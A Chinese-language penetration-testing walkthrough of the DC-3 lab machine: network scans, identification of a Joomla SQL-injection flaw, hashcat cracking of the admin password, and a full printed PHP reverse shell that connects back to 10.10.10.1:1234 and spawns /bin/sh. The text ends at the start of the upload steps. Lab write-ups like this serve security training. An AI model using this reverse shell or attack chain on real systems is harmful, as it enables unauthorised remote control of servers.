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渗透测试演练 DC-3

LeadlifeSec0x 2024-06-17 11:19:09

简介渗透测试演练 DC-3

author：leadlife

data：2023/5/15

blog：Tripse Blog

本次测试使用到的工具如下：

信息收集：nmap、fscan、cmseek、searchsploit

hash识别：hashid

暴力破解：hashcat

内部信息收集：无

权限提升：无

外部信息收集

Nmap ICMP 扫描发现主机

其中 IP：10.10.10.130 为靶机 IP

 sudo nmap -sP 10.10.10.0/24 -T4 --min-rate 10000

 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-15 18:08 CST
 Nmap scan report for 10.10.10.130
 Host is up (0.000092s latency).
 MAC Address: 08:00:27:81:03:54 (Oracle VirtualBox virtual NIC)
 Nmap scan report for 10.10.10.254
 Host is up (0.00026s latency).
 MAC Address: 00:50:56:FC:DC:5C (VMware)
 Nmap scan report for 10.10.10.1
 Host is up.
 Nmap done: 256 IP addresses (3 hosts up) scanned in 0.35 seconds

Fsacn 探测开放端口

发现仅开放 80 端口

 sudo fscan -h 10.10.10.130 -t 30 -p 0-65535

    ___                              _
   / _      ___  ___ _ __ __ _  ___| | __
  / /_/____/ __|/ __| '__/ _` |/ __| |/ /
 / /_\_____\__  (__| | | (_| | (__|   <
 \____/     |___/\___|_|  \__,_|\___|_|\_
                      fscan version: 1.8.1
 start infoscan
 (icmp) Target 10.10.10.130    is alive
 [*] Icmp alive hosts len is: 1
 10.10.10.130:80 open
 [*] alive ports len is: 1
 start vulscan
 [*] WebTitle: http://10.10.10.130       code:200 len:7082   title:Home
 [+] http://10.10.10.130 poc-yaml-joomla-cve-2017-8917-sqli
 已完成 1/1
 [*] 扫描结束,耗时: 3.732715478s⏎

Nmap 进行详细端口扫描

为避免某些端口的疏忽，这里再用 nmap 进行一次扫描

发现提示 WEB 为 Joomla

 sudo nmap -sS -sV -sC -T4 --min-rate 10000 -O -oN nmap.all 10.10.10.130 -p0-65535

 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-15 18:11 CST
 Nmap scan report for 10.10.10.130
 Host is up (0.00026s latency).
 Not shown: 65535 closed tcp ports (reset)
 PORT   STATE SERVICE VERSION
 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
 |_http-title: Home
 |_http-generator: Joomla! - Open Source Content Management
 |_http-server-header: Apache/2.4.18 (Ubuntu)
 MAC Address: 08:00:27:81:03:54 (Oracle VirtualBox virtual NIC)
 Device type: general purpose
 Running: Linux 3.X|4.X
 OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
 OS details: Linux 3.2 - 4.9
 Network Distance: 1 hop
 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds

判断 CMS

访问 Web 页面验证是否为 Jommla

CMSeek 判断 CMS 版本

searchsploit 搜寻 cms 版本漏洞

可以判定很可能存在 SQL 注入，那么下面思路如下：

通过 SQL 注入拿到数据库中后台的管理员密码

后台获取 SHELL

获取 SHELL

利用漏洞

先查看漏洞的说明

这里用 PHP 起一个 HTTP 服务利用该脚本进行测试

访问本地 127.0.0.1:1234 利用如下：

识别 Hash

破解 Hash

利用到 hashcat

密码字典：seclists：/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt

  hashcat -a 0 -m 3200 hash.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt

得到密码：snoopy

登入后台 Getshell

来到后台：http://10.10.10.130/administrator/index.php

这里利用到 php-reverse-shell.php，内容如下：

注意修改 IP 和端口用于 nc 监听

 <?php
 
 set_time_limit (0);
 $VERSION = "1.0";
 $ip = '10.10.10.1';  // CHANGE THIS
 $port = 1234;       // CHANGE THIS
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;
 $shell = 'uname -a; w; id; /bin/sh -i';
 $daemon = 0;
 $debug = 0;
 
 //
 // Daemonise ourself if possible to avoid zombies later
 //
 
 // pcntl_fork is hardly ever available, but will allow us to daemonise
 // our php process and avoid zombies.  Worth a try...
 if (function_exists('pcntl_fork')) {
     // Fork and have the parent process exit
     $pid = pcntl_fork();
     
     if ($pid == -1) {
         printit("ERROR: Can't fork");
         exit(1);
     }
     
     if ($pid) {
         exit(0);  // Parent exits
     }
 
     // Make the current process a session leader
     // Will only succeed if we forked
     if (posix_setsid() == -1) {
         printit("Error: Can't setsid()");
         exit(1);
     }
 
     $daemon = 1;
 } else {
     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
 }
 
 // Change to a safe directory
 chdir("/");
 
 // Remove any umask we inherited
 umask(0);
 
 //
 // Do the reverse shell...
 //
 
 // Open reverse connection
 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
 if (!$sock) {
     printit("$errstr ($errno)");
     exit(1);
 }
 
 // Spawn shell process
 $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
 );
 
 $process = proc_open($shell, $descriptorspec, $pipes);
 
 if (!is_resource($process)) {
     printit("ERROR: Can't spawn shell");
     exit(1);
 }
 
 // Set everything to non-blocking
 // Reason: Occsionally reads will block, even though stream_select tells us they won't
 stream_set_blocking($pipes[0], 0);
 stream_set_blocking($pipes[1], 0);
 stream_set_blocking($pipes[2], 0);
 stream_set_blocking($sock, 0);
 
 printit("Successfully opened reverse shell to $ip:$port");
 
 while (1) {
     // Check for end of TCP connection
     if (feof($sock)) {
         printit("ERROR: Shell connection terminated");
         break;
     }
 
     // Check for end of STDOUT
     if (feof($pipes[1])) {
         printit("ERROR: Shell process terminated");
         break;
     }
 
     // Wait until a command is end down $sock, or some
     // command output is available on STDOUT or STDERR
     $read_a = array($sock, $pipes[1], $pipes[2]);
     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
     // If we can read from the TCP socket, send
     // data to process's STDIN
     if (in_array($sock, $read_a)) {
         if ($debug) printit("SOCK READ");
         $input = fread($sock, $chunk_size);
         if ($debug) printit("SOCK: $input");
         fwrite($pipes[0], $input);
     }
 
     // If we can read from the process's STDOUT
     // send data down tcp connection
     if (in_array($pipes[1], $read_a)) {
         if ($debug) printit("STDOUT READ");
         $input = fread($pipes[1], $chunk_size);
         if ($debug) printit("STDOUT: $input");
         fwrite($sock, $input);
     }
 
     // If we can read from the process's STDERR
     // send data down tcp connection
     if (in_array($pipes[2], $read_a)) {
         if ($debug) printit("STDERR READ");
         $input = fread($pipes[2], $chunk_size);
         if ($debug) printit("STDERR: $input");
         fwrite($sock, $input);
     }
 }
 
 fclose($sock);
 fclose($pipes[0]);
 fclose($pipes[1]);
 fclose($pipes[2]);
 proc_close($process);
 
 // Like print, but does nothing if we've daemonised ourself
 // (I can't figure out how to redirect STDOUT like a proper daemon)
 function printit ($string) {
     if (!$daemon) {
         print "$string
";
     }
 }
 
 ?>

操作步骤如下：